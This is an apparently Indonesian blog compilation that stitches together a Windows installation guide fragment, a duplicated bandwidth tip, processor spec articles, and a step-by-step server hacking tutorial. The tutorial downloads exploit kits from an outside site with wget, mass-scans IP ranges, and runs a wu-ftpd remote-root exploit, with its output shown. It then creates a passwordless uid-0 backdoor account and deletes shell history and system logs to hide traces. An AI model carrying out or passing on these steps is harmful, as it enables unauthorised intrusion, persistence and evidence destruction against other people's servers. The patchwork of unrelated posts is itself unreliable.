33. Setelah itu akan muncul tampilan yang menunjukan pilihan untuk menambah pengguna komputer, Anda bisa memasukkan beberapa pengguna yang akan mengakses komputer Anda, Namun jika satu akun sudah cukup, atau Anda menginstall komputer untuk dipakai bergantian, cukup masukkan satu user kemudian klik "Next"


34. Proses instalasi windows selesai, klik "finish", maka proses instalasi selesai.....


35. Selesailah sudah semua.... kemudian perlahan masuk ke windowsnya.


36. Kemudian tinggal menginstal CD Driver Motherboad, dan perangkat pendukung lainnya....

Selamat Mencoba!!! :)
Berikut ini saya paparkan bagaimana cara menghack suatu server dari shell.
lets...Try For Hack...

Langkah pertama, kita masuk dulu ke shell kita, setelah kita berada di shell kita, kita download doloe exploits itu.www.utay-doyan.cc/ftp.tgz - www.utay-doyan.cc/xpost.tgz.
Jadi di shell kita tinggal ketik wget www.utay-doyan.cc/ftp.tgz .
Setelah file udah selesai di download ketik tar -zxvf ftp.tgz .
Begitu juga dengan exploits xpost.tgz, cara compile nya sama dengan compile ftp.tgz seperti di atas. perlu di ingat paling tidak kita membuka dua session telnet or ssh . satu untuk exploits ftp satu session untuk xpost.
Nahh, abis itu kita tinggal masuk ke directory ftp ketik cd ftp otomatis kita udah ada di directory ftp, and di session satunya buat xpost kita ketik cd xpost . Setelah kita udah berada di directory xpost contoh ketik ./scan 202.1 tekan enter. Maksud dari ./scan 202.1 adalah kita men scan ip 202.1 sampai selesai, abis kita enter tinggal tunggu aja nanti akan ada keterangan seperti ini :

[iwek@jarada xwurm]$ ./scan 211.240
Wait for Scanning 211.240 (3-5 minutes for class B)
Scan Result:
--------------------------------
211.240.28.66
211.240.38.1
211.240.48.62
211.240.48.190
211.240.56.62
211.240.56.254
211.240.56.126
211.240.61.30
211.240.61.62
211.240.61.126
211.240.61.158
211.240.61.238
--------------------------------
Results logged in wu-scan.log
[iwek@jarada xwurm]$


nahh itu hasil dari scan nyah tadi. tinggal kita ketik ./masswu wu-scan.log tunggu aja doloe, nttar kalo ada keterangan You Have Root In 211.240.56.254 berarti kemungkinan besar kita dapet jebol itu server.

Abis itu di session telnet yang satu nya, yang udah siap di directory ftp, kita ketik ./awu 211.240.56.254 apabila ada keterangan seperti di bawah ini :

[iwek@jarada ftp]$ ./awu 211.240.56.254
Checking 211.218.149.47 for vulnerable wu-ftpd 2.x < 2.6.2: Ok
7350wurm - x86/linux wuftpd <= 2.6.1 remote root (version 0.2.2)
team teso (thx bnuts, tomas, synnergy.net !).
Compiled for MnM 01/12/2001..pr0t!

# trying to log into 211.240.56.254 with (ftp/mozilla@) ... connected.
# banner: 220 root.ivines.co.kr FTP server (Version wu-2.6.1-16) ready.
# successfully selected target from banner

### TARGET: RedHat 7.1 (Seawolf) [wu-ftpd-2.6.1-16.rpm]

# 1. filling memory gaps
# 2. sending bigbuf + fakechunk
building chunk: ([0x0807314c] = 0x08085f98) in 238 bytes
# 3. triggering free(globlist[1])
#
# exploitation succeeded. sending real shellcode
# sending setreuid/chroot/execve shellcode
# spawning shell
############################################################################
uid=0(root) gid=0(root) groups=50(ftp)
Linux root.ivines.co.kr 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 2001 i686 unknow


Yess.. Berarti kita udah masuk server itu. coba ketik whoami apabila keterangnnya di bawah root berarti kita udah dapet acces root.

Mo adduser ? nahh nttar ketik /usr/sbin/adduser ganjen -g wheel -s /bin/bash -d /home/ganjen tekan enter, abis itu buat password nyah ketik

passwd ganjen tekan enter , abis itu ketik kanjud tekan enter abis itu ketik lagi kanjud , nb: ketik kanjud dua kali itu kegunaan nya buat password kita

nahh apabila ada keterangan :

Changing password for user ganjen
passwd: all authentication tokens updated successfully


berarti kita udah dapet user di shell tersebut, jadi tinggal login aja, jangan lupa catet ip nyah..

kalo mau dapet acces root ketik :

/usr/sbin/useradd crit -u 0 -d /

abis itu ketik lagi

passwd -d crit

abis ketik itu kita otomatis udah dapet acces root

nahh semuanya udah selesai khan... jangan ampe lupa apus jejak supaya ga cepet matek shell nyahh... abis semuanya kelar kita udah add user udah dapet acces root nttar ketik :

cd /
rm -f /.bash_history /root/.bash_history /var/log/messages
ln -s /dev/null /root/.bash_history
touch /var/log/messages
chmod 600 /var/log/messages
rm -rf /var/log/lastlog
cat > /var/log/lastlog

udah di ketik semua ? udahh... tekan ctrl d . udah deh ... keluar khan... crottt... hiahaihaia mudah khan :) nice to try. Buat exploits lain kamu bisa cari di site-site laen...
Posting by: Muhammad Azwar

Tips Untuk Meningkatkan Kecepatan Internat

Secara default Windows (Win XP Pro dan 2000) sebenarnya juga mengurangi bandtwith kita sebesar 20%, 20% ini digunakan window untuk mendownload update untuk window. Berikut langkah untuk menghilangkan pengurangan bandwidth tersebut :

Klik Start->Run->ketik”gpedit.msc” (tanpa tanda “) Ini akan memunculkan tampilan “Windows Policy”. Kemudian masuk ke : Local Computer Policy–>Computer Configuration–>Administrative Templates–>Network–>QOS Packet Scheduler kemudian di tampilan kanan pilih “Limit Reservable Bandwidth”, disitu tertulis “Not Configured” -> doubel klik (ada tampilan baru, “Limit reservable bandwidth Properties”).Jika ingin tahu keterangannya buka di bagian “Explain”. Di situ tertulis keterangan windows secara default menggunakan 20% bandwidth kita. Kembali ke “Setting” dan pilih “Enabled” lalu ganti 20 % menjadi 0%.

Tips Untuk Meningkatkan Kecepatan Internat

Secara default Windows (Win XP Pro dan 2000) sebenarnya juga mengurangi bandtwith kita sebesar 20%, 20% ini digunakan window untuk mendownload update untuk window. Berikut langkah untuk menghilangkan pengurangan bandwidth tersebut :

Klik Start->Run->ketik”gpedit.msc” (tanpa tanda “) Ini akan memunculkan tampilan “Windows Policy”. Kemudian masuk ke : Local Computer Policy–>Computer Configuration–>Administrative Templates–>Network–>QOS Packet Scheduler kemudian di tampilan kanan pilih “Limit Reservable Bandwidth”, disitu tertulis “Not Configured” -> doubel klik (ada tampilan baru, “Limit reservable bandwidth Properties”).Jika ingin tahu keterangannya buka di bagian “Explain”. Di situ tertulis keterangan windows secara default menggunakan 20% bandwidth kita. Kembali ke “Setting” dan pilih “Enabled” lalu ganti 20 % menjadi 0%.

Processor

INTEL CORE 2 DUO
Intel Core 2 Duo adalah sebuah mikroprosesor yang dirilis oleh Intel Corporation pada tanggal 27 Juli 2006. Pada saat pengembangannya, prosesor ini memiliki nama kode Conroe dan Allendale.
Nama Prosesor Intel Core 2 Duo
Nama kode
Conroe, Allendale, Wolfdale, Merom, Penryn, (dua inti) Kentsfield, Yorkfield, (empat inti)
Dirilis 27 Juli 2006
Segmen Pasar Desktop, Laptop
Mikroarsitektur Intel Core Microarchitecture
Set instruksi
x86, MMX, SSE, SSE2, SSE3, SSE4 (SSE4 hanya untuk prosesor berdasarkan core penryn) VT, EM64T, HT (hanya seri Intel Core 2 Extreme)

Front Side bus 1066 MHz, 1333 MHz (seri conroe terbaru)
Jumlah inti prosesor 2 core, atau 4 core
Interkoneksi ke motherboard
Land Grid Array (LGA), 775-pin
Jumlah Transistor Conroe:291 juta
Allendale:
Teknologi manufaktur 65 nanometer (Conroe, Allandle, Merom, kentsfield) & 45 nanometer (Wolfdale, Yorkfield, Penryn)
Cache Level-1

Cache Level-2 Yorkfield : 12 Megabyte
Kentsfield : 8 Megabyte
Wolfdale : 6 Megabyte
Conroe:4 Megabyte
Allendale: 2 Megabyte
Cache Level-3 Tidak ada
Chipset pendukung
Intel 975X, Intel 965, Intel 945 (beberapa versi), nVidia nForce 680i
Kinerja prosesor ini menang telak cukup jauh jika dibandingkan dengan prosesor Intel Pentium D seri Presler apalagi Pentium D seri Smithfield yang masih menggunakan mikroarsitektur Intel NetBurst. Jika dibandingkan dengan seterunya, AMD Athlon FX 60, sebuah prosesor Intel Core 2 Duo berkecepatan 2400 MHz mengungguli prosesor tersebut dengan perbedaan kinerja kira-kira 15%. Jika prosesor AMD Athlon FX tersebut di-overclock menjadi 3.4 GHz, prosesor tersebut unggul tipis dibandingkan Core 2 Duo 2400 MHz. Ini berarti prosesor Intel Core 2 Duo jauh lebih efisien dibandingkan dengan pendahulunya dalam rangka mengeksekusi instruksi.

AMD-SEMPRON
AMD Sempron adalah sebuah jajaran prosesor yang diperkenalkan oleh AMD pada tahun 2004, sebagai pengganti prosesor AMD Duron di pasar komputer murah, untuk bersaing dengan prosesor Intel Celeron D. AMD Sempron terbagi menjadi dua jenis, yakni:
• AMD Sempron Socket A
• AMD Sempron Socket-754
AMD Sempron (Socket-A)
Versi Socket A dari AMD Sempron adalah varian dari Sempron yang dibuat berdasarkan prosesor AMD Athlon XP Thoroughbred, karena memang pada saat itu AMD telah meluncurkan prosesor untuk pasar high-end, AMD Athlon 64. Fitur yang ditawarkannya sama dengan AMD Athlon XP, termasuk dalam metode marketing yang digunakannya (tidak seperti Duron yang menggunakan kecepatan sebagai penanda seri, Sempron menggunakan Performance Rating, seperti halnya Athlon XP).
Performance Rating Kecepatan sebenarnya Multiplier Kecepatan bus Cache Level-1 Cache Level-2 Tegangan Proses manufaktur Jumlah transistor Daya maksimum
2200+ 1500 MHz 9x 166 MHz (333 MHz, DDR) 128 KB 256 KB 1.600 Volt 130 nanometer 37.2 juta 62 Watt
2300+ 1583 MHz 9.5x 166 MHz (333 MHz, DDR) 128 KB 256 KB 1.600 Volt 130 nanometer 37.2 juta 62 Watt
2400+ 1666 MHz 10x 166 MHz (333 MHz, DDR) 128 KB 256 KB 1.600 Volt 130 nanometer 37.2 62
2500+ 1750 MHz 10.5x 166 MHz (333 MHz, DDR) 128 KB 256 KB 1.600 Volt 130 nanometer 37.2 62
2600+ 1833 MHz 11x 166 MHz (333 MHz, DDR) 128 KB 256 KB 1.600 Volt 130 nanometer 37.2 62
2800+ 2000 MHz 12x 166 MHz (333 MHz, DDR) 128 KB 256 KB 1.600 Volt 130 nanometer 37.2 62
2200+ (Barton) 1500 MHz 9x 166 MHz (333 MHz, DDR) 128 KB 256 KB 1.600 Volt 130 nanometer 54.3 62
2800+ (Barton) 2000 MHz 12x 166 MHz (333 MHz, DDR) 128 KB 256 KB 1.600 Volt 130 nanometer 54.3 62
3000+ 2000 MHz 12x 166 MHz (333 MHz, DDR) 128 KB 512 KB 1.600 Volt 130 nanometer 54.3 62
AMD Sempron (Socket-754)
AMD Sempron Socket 754 adalah prosesor Sempron yang dibangun di atas arsitektur AMD64, demi meningkatkan kinerja yang dimilikinya. Sempron memiliki nama kode Palermo, yang sama seperti AMD Sempron Socket A, menggunakan Performance Rating dalam proses marketingnya. Karena dibangun dengan menggunakan arsitektur AMD64, prosesor ini mampu menjalankan instruksi 64-bit. Meskipun demikian, pada beberapa seri prosesor Sempron, fitur itu tidak diaktifkan (sehingga hanya dapat mengeksekusi instruksi 32-bit saja).
Range kecepatan yang dimilikinya adalah antara 1400 MHz (PR-2500+, populer di kalangan overclocker) hingga 2000 MHz (PR-3400). AMD Sempron dibangun di atas wafer 90 nanometer atau 130 nanometer.
Cache Level-1 yang diimplementasikan di dalam prosesor ini adalah 128 KB, yang dibagi menjadi dua jenis, 64 KB untuk instruction cache dan 64 KB sisanya untuk data cache. Sementara itu, cache level-2 yang diimplementasikan di dalam prosesor ini berkisar antara 128 KB hingga 256 KB, on-die.
Seperti halnya AMD Athlon 64, prosesor ini dilengkapi dengan satu buah link HyperTransport yang dapat digunakan untuk dikoneksikan ke chipset motherboard. Versi yang dibuat dengan menggunakan wafer 90 nanometer telah diimplementasikan SSE3 di dalamnya.
AMD-ATHLON
Athlon (AMD Athlon) adalah sebuah seri mikroprosesor generasi ketujuh (K7) untuk PC yang dibuat AMD. Athlon memiliki beberapa kemampuan, seperti system bus berkecepatan 200Mhz, sembilan execution pipelines (tiga pipeline untuk kalkulasi alamat, tiga untuk kalkulasi integer dan tiga untuk kalkulasi floating point dan instruksi 3DNow! dan MMX).
Teknologi 3DNow! untuk menjalankan aplikasi 3D berkecepatan tinggi dan sistim cache on chip sebesar 384K (Cache L1 sebesar 128K dan Cache L2 sebesar 256K). Athlon harus dipasang pada papan induk (motherboard) yang memiliki slot A.
Pengembangan
Seri Athlon merupakan pengganti dari mikroprosesor seri K6 yang sebelumnya didesain oleh NexGen Corporation. Prosesor ini benar-benar baru dan didesain tidak menggunakan socket-7 seperti AMD K6 yang telah beredar sebelumnya dan menggunakan desain cartridge sama seperti Intel Pentium II/III Slot-1 242-pin, dengan penempatan posisi pin yang berbeda dengan prosesor Intel sehingga tidak pin-compatible dengan prosesor Intel tersebut. Akibat yang dibawa oleh desain cartridge ini adalah bahwa cache Level-2 yang berada dalam cartridge memiliki divider kecepatan sehingga tidak berjalan sama dengan kecepatan CPU. Cache minimal Level-2 yang dimiliki oleh prosesor AMD Athlon ini adalah 512 KB dan maksimal adalah 8192 KB (8MB). Karena desain arsitektural yang baru dari AMD Athlon, yaitu dengan menggunakan bus DEC EV6, pin-pin dari slot-A dibedakan dari slot-1 milik Intel. Orang-orang yang agak skeptis akan menganggap bahwa AMD Athlon adalah DEC Alpha dengan tambahan instruksi x86 dan MMX.
Prosesor ini merupakan aksi come-back AMD ke pasar industri mikroprosesor high-end dan AMD ingin menggeser Intel sebagai pemimpin pasar industri mikroprosesor. Secara arsitektural, prosesor ini memiliki arsitektur yang hampir mirip dengan DEC (Digital Equipment Corporation) Alpha 21164 dan 21264, dua buah prosesor RISC 64-bit. Beberapa desain yang diambil dari DEC EV-6 di antaranya adalah tiga integer pipeline 10-stage, dan tiga floating point pipeline 9-stage, ditambah tiga address generator (satu per integer pipeline) yang beroperasi secara independen dengan unit eksekusi lainnya. Fitur tambahan yang berbeda dengan desain Alpha adalah tambahan dua unit instruksi untuk 3DNow! dan dua instruksi untuk MMX yang berada di dalam pipeline floating point. Instruksi 3DNow! yang dimasukkan ke dalam prosesor AMD Athlon telah diperbaiki dan diperluas dengan menambahkan 24 instruksi tambahan untuk meningkatkan kalkulasi aritmetika integer. Jika dibandingkan dengan prosesor K6, kinerja yang dihasilkan oleh Athlon sangat jauh berbeda khususnya untuk kinerja floating point dan integer. Bahkan dapat mengungguli Intel Pentium III Katmai dan baru dapat didekati oleh Pentium III Coppermine.
Desain L1 cache yang dimiliki Athlon juga mirip dengan prosesor DEC Alpha, yang juga sama-sama memiliki 128 KB. Hal ini mengakibatkan prosesor Athlon mendapatkan rekor baru: prosesor x86 pertama yang memiliki L1 cache paling besar. Seperti halnya prosesor modern, L1 cache dibagi dua sama rata: 64 KB untuk data cache dan 64 KB untuk instruction cache. Walaupun begitu, untuk cache L2 yang dimilikinya tidak terlalu istimewa karena terletak dalam cartridge, bukan dalam chip sehingga mengakibatkan kecepatannya akan semakin tinggi-ini sama dengan desain Pentium II dan Pentium III Katmai. Desain cartridge memang memiliki kelemahan pada divider L2 cache, sehingga kecepatan L2 cache tidaklah sama dengan kecepatan prosesor. Dengan menggunakan divider 1/3, 1/2, dan 2/5 dari clock speed, cache L2 prosesor akan mengalami cache-miss ratio yang semakin besar. Walaupun begitu, lebar bandwidth bus cache L2 ditingkatkan menjadi 64-bit. Sebagaimana prosesor DEC Alpha, yang mengeksklusifkan L1 cache, maka hal ini juga berlaku pada Athlon. Cache L1 yang bersifat eksklusif akan mengakibatkan pada informasi yang ada dalam L1 tidak akan disalin pada cache L2 seperti halnya pada Pentium Pro dan turunannya (Pentium III dan Pentium 4) dan untuk memfasilitasi transfer di antara keduanya, AMD mengimplementasikan satu buffer "korban".
Fitur kunci lainnya yang dimiliki oleh Athlon adalah arsitektur system bus yang baru yang diberi nama S2K, yang merupakan turunan langsung dari system bus prosesor DEC EV6. S2K normalnya berjalan pada kecepatan 100 MHz dan dapat ditingkatkan hingga kecepatan 400 MHz. Walaupun berjalan pada kecepatan 100 MHz, S2K dapat mentransfer data dua kali dalam satu clock pada saat kurva sedang tinggi dan rendah sehingga akan meningkatkan throughput hingga dua kali lipatnya. Teknologi semacam ini dikenal dengan nama DDR, atau Double Data Rate. Akan tetapi S2K hanya berlaku dalam system bus saja, karena address bus tidak terpengaruh dan akibatnya address bus hanya memiliki kecepatan yang sama dengan FSB.
Selain fitur-fitur tersebut, prosesor AMD Athlon juga dapat dijadikan prosesor untuk sistem multi-prosesor, seperti halnya pada prosesor generasi keenam Intel, P6. Sebenarnya, arsitektur multi-prosesor ini sudah dimiliki oleh prosesor AMD K6, akan tetapi masih belum ada chipset yang mendukungnya. Maka, impian para penggemar AMD atau para teknisi yang haus akan kinerja komputasi dengan menggunakan arsitektur multi-prosesor yang dimiliki oleh prosesor AMD K6 tetaplah menjadi impian. Hal ini tidaklah terjadi pada prosesor AMD Athlon. Dengan menggunakan chipset AMD 750MP (Iron-gate) dan AMD 760MPX impian untuk menjadikan komputer yang memiliki dua prosesor AMD Athlon dapatlah terwujud. Untuk itulah, AMD membuat dua jenis prosesor: Single-processor, dengan nama AMD Athlon, dan Multi-processor, dengan nama AMD Athlon Professional. Keduanya sama-sama dibekali teknologi yang sama dengan perbedaan dukungan untuk multi-prosesor-walaupun banyak overclocker yang dapat menjalankan AMD Athlon biasa pada motherboard dengan dua prosesor dengan mengubah beberapa bridge pada core prosesor.
AMD Athlon/Athlon Professional dibangun di atas wafer 250 nanometer dan 180 nanometer. Untuk itu, AMD menamai prosesor yang dibuat di atas wafer 250 nanometer dengan kode C, dan yang dibuat di atas wafer 180 nanometer dengan kode A.
Kalau dibanding-bandingkan, prosesor ini adalah ditujukan untuk menyaingi prosesor Intel Pentium II Xeon/Pentium III Xeon, dengan semua keandalan yang dimilikinya. Athlon menang pada arsitektur system bus, sedangkan Xeon menang pada Cache Level-2 yang berjalan pada kecepatan penuh (full core speed) walaupun dia berada dalam cartridge. Pentium III dan apalagi Pentium II bukanlah lawan yang dapa


Slot-A Athlon
t menandingi kekuatan prosesor Athlon. Hanya Pentium III Coppermine saja yang dapat mengunggulinya (walaupun selisihnya sedikit sekali).
Kecepatan prosesor ini mentok pada kecepatan 1000 MHz. Walaupun begitu, AMD berhasil mencapai batas psikologis: menembus batasan 1000 MHz (1 GHz) tiga hari lebih cepat sebelum Intel meluncurkan prosesor Pentium III Coppermine 1 GHz. Ini mengakibatkan prosesor AMD layak mendapat predikat "Processor of the Year" pada tahun 2000, yang sejak tahun 1993 hingga tahun 1999 selalu dikuasai oleh prosesor Intel tanpa dapat didekati AMD.
Model
Athlon
Athlon Classic
• -> K7 "Argon" (250 nm)
• -> K75 "Pluto/Orion" (180 nm)
• L1-Cache: 64 + 64 KiB (Data + Instructions)
• L2-Cache: 512 KiB, external chips pada CPU modul dengan 50, 40 atau 33% of CPU-speed
• MMX, 3DNow!
• Slot A (EV6)
• Front side bus: 200 MT/s (100 MHz double-pumped)
• VCore: 1.6 V (K7), 1.6 - 1.8 V (K75)
• Keluar pertama: 23 Juni 1999 (K7), 29 November 1999 (K75)
• Clockrate: 500 - 700 MHz (K7), 550 - 1000 MHz (K75)
Thunderbird (180 nm)
• L1-Cache: 64 + 64 KiB (Data + Instruksi)
• L2-Cache: 256 KiB, kecepatan penuh
• MMX, 3DNow!
• Slot A & Soket A (EV6)
• Front side bus: 200 MT/s (Slot-A, B-models), 266 MT/s (C-models) (100, 133 MHz double-pumped)
• VCore: 1.7 V - 1.75 V
• Keluar pertama: 5 Juni 2000
• Clockrate:
o Slot A: 650 - 1000 MHz
o Soket A, 200 MT/s FSB (B-models): 650 - 1400 MHz
o Soket A, 266 MT/s FSB (C-models): 1000 - 1400 MHz
Athlon XP
Palomino (180 nm)
• L1-Cache: 64 + 64 KiB (Data + Instruksi)
• L2-Cache: 256 KiB, kecepatan penuh
• MMX, 3DNow!, Streaming SIMD Extensions / SSE
• Soket A (EV6)
• Front side bus: 266 MT/s (133 MHz double-pumped)
• VCore: 1.75 V
• Keluar pertama: 9 Oktober 2001
• Clockrate: 1333 - 1733 MHz (1500+ to 2100+)
Thoroughbred A/B (130 nm)
• L1-Cache: 64 + 64 KiB (Data + Instruksi)
• L2-Cache: 256 KiB, kecepatan penuh
• MMX, 3DNow!, Streaming SIMD Extensions / SSE
• Soket A (EV6)
• Front side bus: 266/333 MT/s (133/166 MHz double-pumped)
• VCore: 1.5 V - 1.65 V
• Keluar pertama: 10 Juni 2002 (A), 21 Agustus 2002 (B)
• Clockrate:
o T-Bred "A": 1400 - 1800 MHz (1600+ to 2200+)
o T-Bred "B": 1400 - 2250 MHz (1600+ to 2800+)
o 266 MT/s FSB: 1400 - 2133 MHz (1600+ to 2600+)
o 333 MT/s FSB: 2083 - 2250 MHz (2600+ to 2800+)
Thorton (130 nm)
• L1-Cache: 64 + 64 KiB (Data + Instruksi)
• L2-Cache: 256 KiB, kecepatan penuh
• MMX, 3DNow!, Streaming SIMD Extensions / SSE
• Soket A (EV6)
• Front side bus: 266/333/400 MT/s (133/166/200 MHz double-pumped)
• VCore: 1.6 V - 1.65 V
• Keluar pertama: September 2003
• Clockrate: 1667 - 2200 MHz (2000+ to 3100+)
Barton (130 nm)
• L1-Cache: 64 + 64 KiB (Data + Instruksi)
• L2-Cache: 512 KiB, kecepatan penuh
• MMX, 3DNow!, Streaming SIMD Extensions / SSE
• Soket A (EV6)
• Front side bus: 333/400 MT/s (166/200 MHz double-pumped)
• VCore: 1.65 V
• Pertama keluar: 10 February 2003
• Clockrate: 1833 - 2333 MHz (2500+ to 3300+)
o 333 MT/s FSB: 1833 - 2333 MHz (2500+ to 3300+)
o 400 MT/s FSB: 2100, 2200 MHz (3000+, 3200+)

INTEL ITANIUM
Intel Itanium adalah sebuah prosesor 64-bit yang dikembangkan oleh Intel dan Hewlett-Packard, yang menggunakan arsitektur IA-64 (Intel Architecture 64-bit). Pada saat dikembangkan, prosesor ini diberi nama kode prosesor Merced, dan dirilis pada tanggal 29 Mei 2001. Prosesor ini ditujukan untuk pasar high-end server yang membutuhkan kinerja tinggi dan bersifat mission-critical.
Prosesor ini benar-benar baru (bukan penerus prosesor Intel x86), karena memang Intel mendesain prosesor ini dengan bantuan Hewlett-Packard. Arsitektur yang digunakan adalah arsitektur gabungan dari dua prosesor dengan arsitektur RISC, yakni HP PA/RISC dan Intel 860 yang kurang laku di pasaran.
Secara umum, fitur-fitur yang diusung oleh prosesor Intel Itanium adalah sebagai berikut:
• Prosesor 64-bit murni. Meskipun demikian, ia dapat melakukan eksekusi terhadap kode 32-bit Intel x86 melalui teknologi yang disebut dengan IA-32 Execution Layer (IA-32 EL), meski kinerjanya kurang mengesankan.
• Mampu mengakses memori fisik hingga 16 Terabyte (menggunakan 44-bit address bus)
• Teknologi EPIC (Explicitly Parallel Instruction Computing), yang memungkinkan prosesor Itanium dapat melakukan 20 operasi tiap siklusnya
• Dua buah unit integer, dan dua buah unit memori yang dapat mengeksekusi hingga empat instruksi tiap detak
• Dua buah unit floating-point, yang dalam Itanium disebut sebagai FMAC (Floating-Point Multiply Accumulate) yang mampu menangani hingga 82 operand, dan mampu melakukan eksekusi dua operasi tiap detak.
• Dua tambahan unit MMX yang masing-masing mampu melakukan dua operasi floating-point. Selain itu unit ini juga mampu melakukan eksekusi terhadap delapan operasi floating-point presisi tunggal yang dapat dieksekusi tiap siklus.
• Memiliki 128 register integer, 128 register floating point, 8 register pencabangan (branch register), serta 64 register predikasi (predication)
Prosesor Itanium melakukan pengumpulan terhadap instruksi-instruksi yang hendak dieksekusi. Tiga instruksi 41-bit akan dikelompokkan menjadi 1 buah instruksi 128-bit dan 5-bit tambahan yang disebut dengan template yang menentukan informasi (yang dibuat oleh kompiler bahasa pemrograman) tentang bagaimana instruksi-instruksi tersebut dapat dieksekusi secara paralel. Pengelompokan ini, dinamakan dengan instruction bundling (pembundelan instruksi). Informasi dalam template digunakan oleh prosesor untuk menjadwalkan eksekusi instruksi secara paralel pada unit FMAC untuk menjalankan operasi superskalar. Fitur seperti ini disebut dengan Explicitly Parallel Instruction Computing (EPIC) yang dapat dianggp sebagai perluasan terhadap konsep desain instruksi Very Long Instruction Word (VLIW). Dalam arsitektur instruksi VLIW, setiap instruksi menetapkan sejumlah operasi yang berbeda yang dapat diterapkan secara paralel terhadap setiap operand yang bersifat mandiri.
Nama Prosesor Intel Itanium
Nama Kode Prosesor
Merced
Kisaran kecepatan 733 MHz, 800 MHz
Proses manufaktur 180 nanometer
Cache Level-1 32 Kilobyte (16 KB data cache ditambah 16 KB instruction cache yang mampu mengirimkan dua instruction bundle [256-bit] tiap siklus)
Jenis Cache Level-1 Set Associative, 4-way, dengan ukuran blok 32 byte
Cache Level-2 96 Kilobyte, on die, yang berjalan pada kecepatan penuh
Jenis Cache Level-2 Set Associative, 6-way, dengan ukuran blok 64 byte
Cache Level-3 2048 KB atau 4096 KB on-cartridge, yang berjalan pada kecepatan penuh
Jenis cache Level-3 Set Associative, 4-way. Berkomunikasi dengan cache level-2 dengan lebar bandwidth 128-bit, sehingga menghasilkan throughput maksimal 12,8 Gigabyte/s.
Kecepatan Front Side Bus 266 MHz
Lebar jalur memory bus
64 bit
Maksimum bandwidth memori 2128 MByte/s
Jumlah transistor 25 juta (inti prosesor), ditambah 150 juta transistor (untuk 2048 KB cache Level-3) atau 300 juta (untuk 4096 KB cache Level-3)
Jenis Package prosesor Cartridge (sama seperti Pentium II/III), yang dinamakan dengan Pin Array Cartridge (PAC). Cartridge yang digunakan mencakup cache Level-3.
Intekoneksi ke motherboard Socket 418 pin (bukan slot, seperti Pentium II/III).
Berat package prosesor kira-kira 170 gram
Prosesor Itanium dan Itanium 2 didukung oleh beberapa sistem operasi, di antaranya adalah Microsoft Windows XP 64-bit Edition, dan Windows 2000 Advanced Server Limited Edition 2002 dari Microsoft Corporation; GNU/Linux (yang disuplai oleh beberapa pembuat distro mayor, semacam Red Hat, SuSE, Caldera, Debian, dan Turbo Linux), serta dua versi UNIX, yakni Hewlett-Packard HP/UX dan IBM AIX. Jenis sistem operasi yang mendukung IA-32 EL adalah Windows Server 2003 Enterprise Edition, Windows Server 2003 Data Center Edition, Windows XP 64-bit Edition, serta beberapa distribusi GNU/Linux yang baru yang menggunakan versi kernel 2.6.x

AMD-K6
Prosesor AMD K6 adalah sebuah jajaran keluarga mikroprosesor yang menggunakan arsitektur Intel x86 generasi keenam buatan AMD yang kompatibel dengan motherboard untuk Pentium.
Sebenarnya, prosesor ini tidak didesain sendiri oleh AMD, melainkan oleh sebuah perusahaan yang kemudian diakuisisi oleh AMD, NexGen. Oleh NexGen, prosesor K6 dinamai Nx686. Prosesor Nx686 sendiri tidak pernah keluar ke pasaran karena AMD keburu melakukan akuisisi terhadap NexGen, sebelum prosesor keluar ke pasaran. Kinerja yang ditunjukkan oleh AMD K6 ini setara dengan prosesor Intel Pentium dan Pentium II yang memiliki desain yang relatif lebih baik.
Prosesor K6 mengandung set instruksi multimedia yang menjadi standar industri pada zamannya, MMX, sehingga menjadikan K6 memiliki performa yang bagus dalam aplikasi multimedia. Prosesor K6-2, yang dirilis beberapa bulan sesudahnya, mengembangkan instruksi MMX menjadi set instruksi AMD 3DNow!, yang menambahkan dukungan beberapa instruksi pengolahan video dua dimensi, suara, dan video tiga dimensi, yang banyak dibutuhkan oleh beberapa game saat itu, semacam Quake 2.
AMD mendesain prosesor K6 agar bersifat low-cost, sehingga AMD pun hanya menggunakan motherboard dengan Socket-7, yang sebelumnya digunakan oleh Pentium MMX. Awalnya, AMD mendesain K6 dengan teknologi manufaktur 350 nanometer (sama seperti halnya Pentium II Klamath), sebelum beralih ke teknologi manufaktur 250 nanometer (sama seperti halnya Pentium II Deschutes), mengingat perubahan ini dapat mengurangi konsumsi daya yang dibutuhkan oleh prosesor K6.
Prosesor K6 memiliki fitur-fitur berikut:
• Meskipun K6 terlihat dari luar sebagai prosesor generasi kelima (menggunakan socket milik Pentium), K6 sebenarnya adalah prosesor generasi keenam.
• Sebagaimana prosesor P6 milik Intel, prosesor ini juga menggunakan inti instruksi RISC dan memiliki unit translasi instruksi RISC ke dalam instruksi x86.
• K6 memiliki tujuh buah pipeline yang dapat bekerja secara paralel.
• Sebagaimana prosesor AMD K5, prosesor ini juga memiliki fitur-fitur seperti Dynamic execution, Branch prediction, dan Speculative execution.
• K6 memiliki cache Level 1 yang besar, yakni 64 KB, yang terbagi ke dalam dua buah: 32 KB instruction cache dan 32 KB data-cache yang bersifat write-back.
• Instruksi MMX.
Prosesor K6-2, yang dirilis beberapa bulan sesudahnya menambahkan hal-hal berikut:
• Kecepatan prosesor yang lebih tinggi.
• Kecepatan bus yang lebih tinggi, hingga mencapai 100 MHz pada motherboard Super7.
• Tambahan 21 instruksi 3DNow! untuk membantu mengolah grafik dan suara. DirectX versi 6.x dari Microsoft juga didesain untuk mendukung set instruksi ini, sehingga memungkinkan kinerja tinggi bagi aplikasi yang didesain dengannya.
Prosesor K6-3 menambahkan beberapa hal berikut: The K6-3 adds the following:
• K6-3 memiliki cache Level 2 yang built-in ke dalam chip sebesar 256 KB, sehingga jika motherboard memiliki cache, maka cache yang ada dalam motherboard adalah cache Level 3. Penambahan ini cukup signifikan, karena dengan penambahan ini prosesor K6-3 dapat berkompetisi dengan Pentium II (dalam beberapa aplikasi menang telak), sebelum akhirnya dikalahkan kembali oleh Pentium III secara telak.
Arsitektur AMD K6 bersifat kompatibel sepenuhnya dengan Intel x86, sehingga ia dapat menjalankan program-program yang didesain untuk prosesor x86 tanpa harus ada kompilasi ulang. Hal tersebut berlaku juga untuk set instruksi MMX.
